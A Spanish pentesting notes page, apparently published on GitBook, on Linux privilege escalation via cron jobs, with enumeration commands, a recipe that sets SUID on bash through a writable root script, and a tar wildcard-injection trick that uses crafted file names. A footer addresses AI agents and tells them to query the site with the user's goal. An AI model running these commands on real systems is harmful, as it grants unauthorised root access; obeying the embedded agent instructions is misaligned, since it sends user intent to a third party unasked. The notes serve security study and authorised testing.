> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/cron-jobs.md).

# Trabajos cron

Notas de escalada de privilegios mediante trabajos cron para scripts modificables, tareas recurrentes de root, pspy64, trabajos de Logstash y abuso de ImageMagick.

Los trabajos cron crean rutas de escalada de privilegios cuando tareas recurrentes de root ejecutan scripts escribibles, rutas relativas inseguras o procesadores vulnerables. La clave es demostrar que un usuario con pocos privilegios controla algo que ejecutará una tarea programada con privilegios.

## Metodología

* Revise los crontabs del sistema, los directorios cron, los temporizadores y los scripts escribibles.
* Use pspy64 para observar procesos de vida corta sin root.
* Compruebe si el trabajo usa valores PATH inseguros, archivos escribibles o directorios de entrada controlados por el atacante.

## Comprobaciones rápidas

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Objetivos de Cron escribibles

Busque scripts o directorios que un trabajo cron con privilegios ejecuta y que un usuario con pocos privilegios puede modificar.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Use `pspy64` cuando los trabajos cron son de vida corta o no son visibles en archivos estáticos:

```bash
./pspy64
```

Si un trabajo cron de root ejecuta un script escribible, una ruta de validación sencilla es establecer un bit SUID en Bash y esperar a que se ejecute según la programación:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Inyección de comodines

Si un trabajo cron usa comandos de archivado con comodines sobre un directorio escribible, los nombres de archivo pueden convertirse en opciones de comando.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

Después de que se ejecute el trabajo cron:

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Calculadora de expresiones Cron</h4></td><td>Busque expresiones cron comunes, cadenas especiales, sintaxis de campos, significados de programación y notas de revisión de escalada de privilegios.</td><td><a href="/es/privesc/cron-jobs/cron-expression-calculator.md">Calculadora de expresiones cron</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Enumeración de Cron con pspy64</h4></td><td>Notas de la herramienta pspy64 para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/es/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">Herramienta pspy64 - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Trabajo cron con script Bash modificado</h4></td><td>Notas de trabajos cron: script modificado (Bash) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/es/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">Trabajo cron de script Bash modificado - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Trabajo cron con script Python modificado</h4></td><td>Notas de trabajos cron: script modificado (Python) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/es/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">Trabajo cron de script Python modificado - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abuso de Cron de ImageMagick</h4></td><td>Notas de explotación de Cron con ImageMagick para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/es/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">Abuso de cron de ImageMagick - Escalada de privilegios en Linux</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Abuso de Cron de Logstash</h4></td><td>Notas de trabajos cron (Logstash) para escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación orientada a informes.</td><td><a href="/es/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Abuso de cron de Logstash - Escalada de privilegios en Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
